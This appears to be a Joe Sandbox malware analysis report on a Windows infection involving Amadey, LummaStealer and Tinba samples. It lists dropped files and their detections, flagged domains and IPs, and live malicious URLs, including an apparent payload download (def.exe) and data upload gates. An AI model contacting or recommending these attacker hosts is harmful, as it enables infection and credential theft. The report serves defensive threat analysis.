C:\Users\user\AppData\Local\Temp\1016948001\3ca19a76c8.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1016949001\093821f656.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1016945001\x0qQ2DH.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\GIBVL2EB\random[2].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1016938001\2f7f14fa8e.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\GIBVL2EB\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\GJ1F663Z\random[2].exe	88%	ReversingLabs	Win32.Trojan.Amadey
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\GJ1F663Z\random[3].exe	68%	ReversingLabs	Win32.Trojan.LummaStealer
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q8X2NUFH\random[3].exe	71%	ReversingLabs	Win32.Trojan.LummaStealer
C:\Users\user\AppData\Local\Temp\1016940001\6f578afb8b.exe	88%	ReversingLabs	Win32.Trojan.Amadey
C:\Users\user\AppData\Local\Temp\1016943001\093ffd8e79.exe	71%	ReversingLabs	Win32.Trojan.LummaStealer
C:\Users\user\AppData\Local\Temp\1016944001\45ee3ccff8.exe	68%	ReversingLabs	Win32.Trojan.LummaStealer
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	50%	ReversingLabs	Win32.Infostealer.Tinba
C:\Users\user\AppData\Local\Temp\main\7z.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\main\7z.exe	0%	ReversingLabs

Name	IP	Active	Malicious
example.org	93.184.215.14	true	false
prod.classify-client.prod.webservices.mozgcp.net	35.190.72.216	true	false
prod.balrog.prod.cloudops.mozgcp.net	35.244.181.201	true	false
prod.detectportal.prod.cloudops.mozgcp.net	34.107.221.82	true	false
lossekniyyt.click	104.21.12.88	true	true
home.twentytk20pn.top	185.185.71.170	true	true
twentytk20pn.top	185.185.71.170	true	true
contile.services.mozilla.com	34.117.188.166	true	false
youtube.com	142.250.181.110	true	false
prod.content-signature-chains.prod.webservices.mozgcp.net	34.160.144.191	true	false
ipv4only.arpa	192.0.0.170	true	false
grannyejh.lat	172.67.179.109	true	true
prod.ads.prod.webservices.mozgcp.net	34.117.188.166	true	false
www.google.com	142.250.181.132	true	false
httpbin.org	98.85.100.80	true	false
spocs.getpocket.com	unknown	unknown	false
sweepyribs.lat	unknown	unknown	true
detectportal.firefox.com	unknown	unknown	false
content-signature-2.cdn.mozilla.net	unknown	unknown	false

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.206/	true
http://twentytk20pn.top/v1/upload.php	true
grannyejh.lat	true
https://lossekniyyt.click/api	true
https://httpbin.org/ip	false

URLs from Memory and Binaries

Name	Source	Malicious
http://mozilla.org/#/properties/bucketConfig/properties/starthttp://mozilla.org/#/properties/outcome	firefox.exe, 0000001A.00000002.2214368126.0000025CEA95B000.00000004.00000800.00020000.00000000.sdmp	false
http://mozilla.org/#/properties/proposedEnrollment	firefox.exe, 0000001A.00000002.2214368126.0000025CEA95B000.00000004.00000800.00020000.00000000.sdmp	false
http://detectportal.firefox.com/	firefox.exe, 0000001A.00000002.2193309231.0000025CE9DDF000.00000004.00000800.00020000.00000000.sdmp	false
http://mozilla.org/#/properties/schemaVersion	firefox.exe, 0000001A.00000002.2214368126.0000025CEA95B000.00000004.00000800.00020000.00000000.sdmp	false
http://mozilla.org/#/properties/branches/anyOf/1/items/properties/feature/properties/value	firefox.exe, 0000001A.00000002.2214368126.0000025CEA95B000.00000004.00000800.00020000.00000000.sdmp	false
https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/records	firefox.exe, 0000001A.00000002.2166905315.0000025CE637C000.00000004.00000800.00020000.00000000.sdmp	false
https://merino.services.mozilla.com/api/v1/suggest	firefox.exe, 0000001A.00000002.2153342673.0000025CDA2D8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2166905315.0000025CE637C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2214368126.0000025CEA91B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2147404002.000001F772572000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2144651879.00000202DFA86000.00000004.00000800.00020000.00000000.sdmp	false
http://mozilla.org/#/properties/quickSuggestRemoteSettingsDataType	firefox.exe, 0000001A.00000002.2214368126.0000025CEA91B000.00000004.00000800.00020000.00000000.sdmp	false
https://spocs.getpocket.com/spocs	firefox.exe, 0000001A.00000003.1997476199.0000025CF248B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2214368126.0000025CEA91B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2036020671.0000025CEDAF0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2169874877.0000025CE6F03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2186945883.0000025CE996B000.00000004.00000800.00020000.00000000.sdmp	false
https://www.amazon.com/exec/obidos/external-search/?field-keywords=&ie=UTF-8&mode=blended&tag=mozill	firefox.exe, 0000001A.00000002.2200878652.0000025CEA33B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2186945883.0000025CE990D000.00000004.00000800.00020000.00000000.sdmp	false
https://contile-images.services.mozilla.com/5b4DH7KHAf2n_mNaLjNi1-UAoKmM9rhqaA9w7FyznHo.10943.jpg	bfa374134d.exe, 00000007.00000003.1807569563.00000000058ED000.00000004.00000800.00020000.00000000.sdmp, bfa374134d.exe, 0000000F.00000003.2175126394.00000000058F7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2169874877.0000025CE6F25000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2160798255.0000025CE59AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2169874877.0000025CE6F03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2186945883.0000025CE996B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2147404002.000001F7725B7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2144651879.00000202DFAE9000.00000004.00000800.00020000.00000000.sdmp	false
https://screenshots.firefox.com	firefox.exe, 0000001A.00000002.2169874877.0000025CE6F25000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2166905315.0000025CE6303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2162261594.0000025CE5AB2000.00000004.00000800.00020000.00000000.sdmp	false
https://ads.stickyadstv.com/firefox-etp	firefox.exe, 0000001A.00000002.2166905315.0000025CE6303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2209918604.0000025CEA88C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2215757021.0000025CEAA21000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2214368126.0000025CEA97E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2214368126.0000025CEA910000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2214368126.0000025CEA903000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2215757021.0000025CEAA5D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2214368126.0000025CEA906000.00000004.00000800.00020000.00000000.sdmp	false
https://addons.mozilla.org/en-US/firefox/collections/4757633/25c2b44583534b3fa8fea977c419cd/?page=1&	firefox.exe, 0000001A.00000002.2214368126.0000025CEA91B000.00000004.00000800.00020000.00000000.sdmp	false
http://mozilla.org/#/properties/branches	firefox.exe, 0000001A.00000002.2214368126.0000025CEA95B000.00000004.00000800.00020000.00000000.sdmp	false
https://www.amazon.com/exec/obidos/external-search/	firefox.exe, 0000001A.00000002.2166905315.0000025CE6324000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.1941505672.0000025CE9E5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2214368126.0000025CEA98E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.1940699460.0000025CE9C00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.1941709187.0000025CE9E77000.00000004.00000800.00020000.00000000.sdmp	false
http://mozilla.org/#/properties/userFacingName	firefox.exe, 0000001A.00000002.2214368126.0000025CEA95B000.00000004.00000800.00020000.00000000.sdmp	false
https://profiler.firefox.com/	firefox.exe, 0000001A.00000002.2160798255.0000025CE5926000.00000004.00000800.00020000.00000000.sdmp	false
http://mozilla.org/#/properties/quickSuggestSponsoredEnabled	firefox.exe, 0000001A.00000002.2214368126.0000025CEA95B000.00000004.00000800.00020000.00000000.sdmp	false
https://github.com/mozilla-services/screenshots	firefox.exe, 0000001A.00000002.2214368126.0000025CEA91B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.1941505672.0000025CE9E5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.1940699460.0000025CE9C00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.1941709187.0000025CE9E77000.00000004.00000800.00020000.00000000.sdmp	false
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&ci=1696497267574.12791&key=1696497267400700002.1&cta	bfa374134d.exe, 00000007.00000003.1807569563.00000000058ED000.00000004.00000800.00020000.00000000.sdmp, bfa374134d.exe, 0000000F.00000003.2175817586.00000000058F4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2186945883.0000025CE99CE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2169874877.0000025CE6F25000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2160798255.0000025CE59AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2186945883.0000025CE996B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2147404002.000001F7725B7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2144651879.00000202DFAE9000.00000004.00000800.00020000.00000000.sdmp	false
https://developer.mozilla.org/docs/Web/API/Element/releasePointerCaptureRequest	firefox.exe, 0000001A.00000002.2197566384.0000025CEA030000.00000002.08000000.00040000.00000000.sdmp	false
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/switching-devices?utm_source=panel-def	firefox.exe, 0000001A.00000002.2166905315.0000025CE637C000.00000004.00000800.00020000.00000000.sdmp	false
http://mozilla.org/#/properties/branches/anyOf/0	firefox.exe, 0000001A.00000002.2214368126.0000025CEA95B000.00000004.00000800.00020000.00000000.sdmp	false
http://mozilla.org/#/properties/referenceBranch	firefox.exe, 0000001A.00000002.2214368126.0000025CEA95B000.00000004.00000800.00020000.00000000.sdmp	false
https://www.amazon.com/exec/obidos/external-search/extension/pictureinpicture	firefox.exe, 0000001A.00000002.2166905315.0000025CE637C000.00000004.00000800.00020000.00000000.sdmp	false
http://mozilla.org/#/properties/outcomes/items	firefox.exe, 0000001A.00000002.2214368126.0000025CEA95B000.00000004.00000800.00020000.00000000.sdmp	false
http://mozilla.org/#/properties/quickSuggestSponsoredIndex	firefox.exe, 0000001A.00000002.2214368126.0000025CEA95B000.00000004.00000800.00020000.00000000.sdmp	false
https://grannyejh.lat/61	bfa374134d.exe, 0000000F.00000003.2008776653.000000000108C000.00000004.00000020.00020000.00000000.sdmp	false
https://getpocket.com/firefox/new_tab_learn_morechrome://pocket/content/pktApi.sys.mjs	firefox.exe, 0000001A.00000002.2214368126.0000025CEA91B000.00000004.00000800.00020000.00000000.sdmp	false
http://mozilla.org/#/properties/outcomes/items/properties/priorityhttp://mozilla.org/#/properties/br	firefox.exe, 0000001A.00000002.2214368126.0000025CEA976000.00000004.00000800.00020000.00000000.sdmp	false
http://exslt.org/common	firefox.exe, 0000001A.00000002.2160798255.0000025CE5926000.00000004.00000800.00020000.00000000.sdmp	false
https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windowsThe	firefox.exe, 0000001A.00000002.2197566384.0000025CEA030000.00000002.08000000.00040000.00000000.sdmp	false
http://mozilla.org/#/properties/csvImport	firefox.exe, 0000001A.00000002.2214368126.0000025CEA97E000.00000004.00000800.00020000.00000000.sdmp	false
http://mozilla.org/#/properties/quickSuggestAllowPositionInSuggestions	firefox.exe, 0000001A.00000002.2214368126.0000025CEA91B000.00000004.00000800.00020000.00000000.sdmp	false
http://mozilla.org/#/properties/branches/anyOf/0/items/properties/feature	firefox.exe, 0000001A.00000002.2214368126.0000025CEA976000.00000004.00000800.00020000.00000000.sdmp	false
http://win.mail.ru/cgi-bin/sentmsg?mailto=%s	firefox.exe, 0000001A.00000002.2164364393.0000025CE5F7D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2166905315.0000025CE637C000.00000004.00000800.00020000.00000000.sdmp	false
https://www.ecosia.org/newtab/	bfa374134d.exe, 00000007.00000003.1752715813.00000000058AC000.00000004.00000800.00020000.00000000.sdmp, bfa374134d.exe, 00000007.00000003.1753074415.00000000058A9000.00000004.00000800.00020000.00000000.sdmp, bfa374134d.exe, 00000007.00000003.1752862089.00000000058A9000.00000004.00000800.00020000.00000000.sdmp, bfa374134d.exe, 0000000F.00000003.2012567376.00000000058AB000.00000004.00000800.00020000.00000000.sdmp, bfa374134d.exe, 0000000F.00000003.2015792487.00000000058A8000.00000004.00000800.00020000.00000000.sdmp, bfa374134d.exe, 0000000F.00000003.2013786257.00000000058A8000.00000004.00000800.00020000.00000000.sdmp	false
http://mozilla.org/#/properties/channelhttp://mozilla.org/#/properties/userFacingNamehttp://mozilla.	firefox.exe, 0000001A.00000002.2214368126.0000025CEA95B000.00000004.00000800.00020000.00000000.sdmp	false
http://mozilla.org/#/properties/quickSuggestImpressionCapsSponsoredEnabled	firefox.exe, 0000001A.00000002.2214368126.0000025CEA91B000.00000004.00000800.00020000.00000000.sdmp	false
https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=	firefox.exe, 0000001A.00000003.2006426767.0000025CEDA9B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2166905315.0000025CE63E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2169874877.0000025CE6F03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2186945883.0000025CE996B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2144651879.00000202DFAC7000.00000004.00000800.00020000.00000000.sdmp	false
https://searchfox.org/mozilla-central/source/toolkit/components/search/SearchUtils.jsm#145-152	firefox.exe, 0000001A.00000002.2230488431.0000025CEB503000.00000004.00000800.00020000.00000000.sdmp	false
https://bugzilla.mo	firefox.exe, 0000001A.00000002.2169874877.0000025CE6F25000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2234955418.0000025CEBE03000.00000004.00000800.00020000.00000000.sdmp	false
https://static.adsafeprotected.com/firefox-etp-js	firefox.exe, 0000001A.00000002.2166905315.0000025CE6303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2214368126.0000025CEA95B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2209918604.0000025CEA88C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2232790648.0000025CEBA70000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2214368126.0000025CEA910000.00000004.00000800.00020000.00000000.sdmp	false
https://outlook.live.com/default.aspx?rru=compose&to=%sresource://gre/modules/PrivateBrowsingUtils.s	firefox.exe, 0000001A.00000002.2166905315.0000025CE637C000.00000004.00000800.00020000.00000000.sdmp	false
https://static.adsafeprotected.com/firefox-etp-pixelresource://gre/modules/PrivateBrowsingUtils.sys.	firefox.exe, 0000001A.00000002.2166905315.0000025CE6303000.00000004.00000800.00020000.00000000.sdmp	false
http://185.215.113.16/off/def.exe	bfa374134d.exe, 00000007.00000003.2194410371.00000000010CE000.00000004.00000020.00020000.00000000.sdmp, bfa374134d.exe, 00000007.00000003.2196022361.0000000001127000.00000004.00000020.00020000.00000000.sdmp	false
https://spocs.getpocket.com/	firefox.exe, 0000001A.00000003.2034827726.0000025CF2AA6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2006426767.0000025CEDA9B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2169874877.0000025CE6F03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2186945883.0000025CE996B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2144651879.00000202DFA12000.00000004.00000800.00020000.00000000.sdmp	false
http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features/items/properties/featureI	firefox.exe, 0000001A.00000002.2214368126.0000025CEA95B000.00000004.00000800.00020000.00000000.sdmp	false
https://grannyejh.lat/api7F	bfa374134d.exe, 0000000F.00000003.2008776653.000000000106A000.00000004.00000020.00020000.00000000.sdmp	false
http://json-schema.org/draft-06/schema#firefox-desktop-shellService-release-7	firefox.exe, 0000001A.00000002.2214368126.0000025CEA95B000.00000004.00000800.00020000.00000000.sdmp	false
http://html4/loose.dtd	2db16943cb.exe, 00000006.00000003.1621989747.000000000768F000.00000004.00001000.00020000.00000000.sdmp	false
http://mozilla.org/#/properties/addonsFeatureGate	firefox.exe, 0000001A.00000002.2214368126.0000025CEA95B000.00000004.00000800.00020000.00000000.sdmp	false
https://grannyejh.lat/apiQ	bfa374134d.exe, 0000000F.00000003.2008776653.000000000108C000.00000004.00000020.00020000.00000000.sdmp	false
http://185.215.113.206/c4becf79229cb002.php_	f48847f8be.exe, 00000008.00000002.1871163393.0000000001508000.00000004.00000020.00020000.00000000.sdmp	false
https://screenshots.firefox.com/bound	firefox.exe, 0000001A.00000002.2214368126.0000025CEA91B000.00000004.00000800.00020000.00000000.sdmp	false
http://mozilla.org/#/properties/addonsShowLessFrequentlyCap	firefox.exe, 0000001A.00000002.2214368126.0000025CEA95B000.00000004.00000800.00020000.00000000.sdmp	false
https://grannyejh.lat/t	bfa374134d.exe, 0000000F.00000003.2227019711.000000000108C000.00000004.00000020.00020000.00000000.sdmp, bfa374134d.exe, 0000000F.00000003.2221194978.000000000108C000.00000004.00000020.00020000.00000000.sdmp	false
http://mozilla.org/#/properties/autoFillAdaptiveHistoryEnabled	firefox.exe, 0000001A.00000002.2214368126.0000025CEA95B000.00000004.00000800.00020000.00000000.sdmp	false
https://bugzilla.mozilla.org/show_bug.cgi?id=1584464	firefox.exe, 0000001A.00000002.2166905315.0000025CE637C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.1997476199.0000025CF2437000.00000004.00000800.00020000.00000000.sdmp	false
https://youtube.com/account_getBoundsWithoutFlushingincrementMinKeywordLengthisSafeToPlayDeferredEve	firefox.exe, 0000001A.00000002.2214368126.0000025CEA91B000.00000004.00000800.00020000.00000000.sdmp	false
https://support.mozilla.org/products/firefoxgro.allizom.troppus.njy8xaI_aUJp	firefox.exe, 0000001A.00000002.2229487864.0000025CEB442000.00000004.00000800.00020000.00000000.sdmp	false
http://185.215.113.206/c4becf79229cb002.phps	f48847f8be.exe, 00000008.00000002.1871163393.0000000001508000.00000004.00000020.00020000.00000000.sdmp	false
https://grannyejh.lat/apie	bfa374134d.exe, 0000000F.00000003.2177377964.00000000010FB000.00000004.00000020.00020000.00000000.sdmp	false
http://youtube.com/	firefox.exe, 0000001A.00000003.2034827726.0000025CF2ADB000.00000004.00000800.00020000.00000000.sdmp	false
https://grannyejh.lat/8X	bfa374134d.exe, 00000007.00000003.1888744563.0000000001127000.00000004.00000020.00020000.00000000.sdmp	false
http://mozilla.org/#/properties/enrollmentEndDate	firefox.exe, 0000001A.00000002.2214368126.0000025CEA95B000.00000004.00000800.00020000.00000000.sdmp	false
https://login.microsoftonline.com	firefox.exe, 0000001A.00000003.2008063698.0000025CED4AE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2214368126.0000025CEA91B000.00000004.00000800.00020000.00000000.sdmp	false
https://developer.mozilla.org/docs/Web/API/Push_API/Using_the_Push_API#Encryptiondocument.requestSto	firefox.exe, 0000001A.00000002.2197566384.0000025CEA030000.00000002.08000000.00040000.00000000.sdmp	false
http://mozilla.org/#/properties/slugThe	firefox.exe, 0000001A.00000002.2214368126.0000025CEA95B000.00000004.00000800.00020000.00000000.sdmp	false
https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/f0f51715-7f5e-48de-839	firefox.exe, 0000001A.00000002.2214368126.0000025CEA91B000.00000004.00000800.00020000.00000000.sdmp	false
http://x1.c.lencr.org/0	bfa374134d.exe, 00000007.00000003.1804251160.000000000591C000.00000004.00000800.00020000.00000000.sdmp, bfa374134d.exe, 0000000F.00000003.2123660428.0000000005929000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.1997476199.0000025CF2473000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2218681627.0000025CEAFC8000.00000004.00000800.00020000.00000000.sdmp	false
http://x1.i.lencr.org/0	bfa374134d.exe, 00000007.00000003.1804251160.000000000591C000.00000004.00000800.00020000.00000000.sdmp, bfa374134d.exe, 0000000F.00000003.2123660428.0000000005929000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.1997476199.0000025CF2473000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2218681627.0000025CEAFC8000.00000004.00000800.00020000.00000000.sdmp	false
https://mozilla-hub.atlassian.net/browse/SDK-405	firefox.exe, 0000001A.00000002.2166905315.0000025CE6303000.00000004.00000800.00020000.00000000.sdmp	false
https://grannyejh.lat/apiu	bfa374134d.exe, 00000007.00000003.1803303952.0000000001136000.00000004.00000020.00020000.00000000.sdmp, bfa374134d.exe, 00000007.00000003.1804405378.0000000001136000.00000004.00000020.00020000.00000000.sdmp	false
http://mozilla.org/#/properties/autoFillAdaptiveHistoryMinCharsThreshold	firefox.exe, 0000001A.00000002.2214368126.0000025CEA91B000.00000004.00000800.00020000.00000000.sdmp	false
http://mozilla.org/#/properties/outcomes	firefox.exe, 0000001A.00000002.2214368126.0000025CEA95B000.00000004.00000800.00020000.00000000.sdmp	false
https://duckduckgo.com/?t=ffab&q=	firefox.exe, 0000001A.00000002.2193309231.0000025CE9DA7000.00000004.00000800.00020000.00000000.sdmp	false
https://www.google.com/searchgetElementForAttrInheritance	firefox.exe, 0000001A.00000002.2166905315.0000025CE637C000.00000004.00000800.00020000.00000000.sdmp	false
https://support.mozilla.org/products/firefoxgro.all	bfa374134d.exe, 0000000F.00000003.2128995758.0000000005B9D000.00000004.00000800.00020000.00000000.sdmp	false
http://.jpg	2db16943cb.exe, 00000006.00000003.1621989747.000000000768F000.00000004.00001000.00020000.00000000.sdmp	false
https://mail.yahoo.co.jp/compose/?To=%s	firefox.exe, 0000001A.00000002.2186945883.0000025CE99AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2164364393.0000025CE5F7D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2166905315.0000025CE637C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2181618452.0000025CE8739000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.1944757242.0000025CE8733000.00000004.00000800.00020000.00000000.sdmp	false
https://grannyejh.lat/8	bfa374134d.exe, 0000000F.00000003.2008776653.000000000108C000.00000004.00000020.00020000.00000000.sdmp	false
http://json-schema.org/draft-07/schema#http://json-schema.org/draft-04/schema#	firefox.exe, 0000001A.00000002.2214368126.0000025CEA95B000.00000004.00000800.00020000.00000000.sdmp	false
https://contile.services.mozilla.com/v1/tiles	firefox.exe, 0000001A.00000002.2214368126.0000025CEA91B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2184596233.0000025CE8800000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2146249874.000001F772330000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2160943827.00000202E0090000.00000002.08000000.00040000.00000000.sdmp	false
https://www.amazon.co.uk/	firefox.exe, 0000001A.00000002.2214368126.0000025CEA91B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.1996814961.0000025CF29B0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2019209448.0000025CF29B0000.00000004.00000800.00020000.00000000.sdmp	false
https://merino.services.mozilla.com/api/v1/suggestplaces.frecency.pages.alternative.numSampledVisits	firefox.exe, 0000001A.00000002.2214368126.0000025CEA91B000.00000004.00000800.00020000.00000000.sdmp	false
https://screenshots.firefox.com/	firefox.exe, 0000001A.00000003.1941505672.0000025CE9E5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2193309231.0000025CE9D03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2193309231.0000025CE9D6A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.1940699460.0000025CE9C00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.1941709187.0000025CE9E77000.00000004.00000800.00020000.00000000.sdmp	false
https://gpuweb.github.io/gpuweb/	firefox.exe, 0000001A.00000003.1997476199.0000025CF2437000.00000004.00000800.00020000.00000000.sdmp	false
https://firefox-source-docs.mozilla.org/remote/Security.html	firefox.exe, 0000001A.00000002.2166905315.0000025CE6324000.00000004.00000800.00020000.00000000.sdmp	false
http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features/items/properties/value/ad	firefox.exe, 0000001A.00000002.2214368126.0000025CEA976000.00000004.00000800.00020000.00000000.sdmp	false
https://getpocket.com/recommendationsDisplays	firefox.exe, 0000001A.00000002.2214368126.0000025CEA91B000.00000004.00000800.00020000.00000000.sdmp	false
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_15e498ec2b39921665a1fbc954bff40a8106629178eadc64	bfa374134d.exe, 00000007.00000003.1807569563.00000000058ED000.00000004.00000800.00020000.00000000.sdmp, bfa374134d.exe, 0000000F.00000003.2175817586.00000000058F4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2186945883.0000025CE99CE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2169874877.0000025CE6F25000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2160798255.0000025CE59AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2186945883.0000025CE996B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2147404002.000001F7725B7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2144651879.00000202DFAE9000.00000004.00000800.00020000.00000000.sdmp	false
https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsingTrying	firefox.exe, 0000001A.00000002.2197566384.0000025CEA030000.00000002.08000000.00040000.00000000.sdmp	false
http://mozilla.org/#/properties/branches/anyOf/0/items/properties/ratio	firefox.exe, 0000001A.00000002.2214368126.0000025CEA976000.00000004.00000800.00020000.00000000.sdmp	false

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
98.85.100.80	httpbin.org	United States	11351	TWC-11351-NORTHEASTUS	false
172.67.179.109	grannyejh.lat	United States	13335	CLOUDFLARENETUS	true
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
142.250.181.110	youtube.com	United States	15169	GOOGLEUS	false
34.107.221.82	prod.detectportal.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false
142.250.181.132	www.google.com	United States	15169	GOOGLEUS	false
35.244.181.201	prod.balrog.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false
34.117.188.166	contile.services.mozilla.com	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
185.185.71.170	home.twentytk20pn.top	Russian Federation	35278	SPRINTHOSTRU	true
239.255.255.250	unknown	Reserved	unknown	unknown	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
104.21.12.88	lossekniyyt.click	United States	13335	CLOUDFLARENETUS	true
35.190.72.216	prod.classify-client.prod.webservices.mozgcp.net	United States	15169	GOOGLEUS	false
34.160.144.191	prod.content-signature-chains.prod.webservices.mozgcp.net	United States	2686	ATGS-MMD-ASUS	false
31.41.244.11	unknown	Russian Federation	61974	AEROEXPRESS-ASRU	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1577610
Start date and time:	2024-12-18 15:54:52 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 15m 42s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
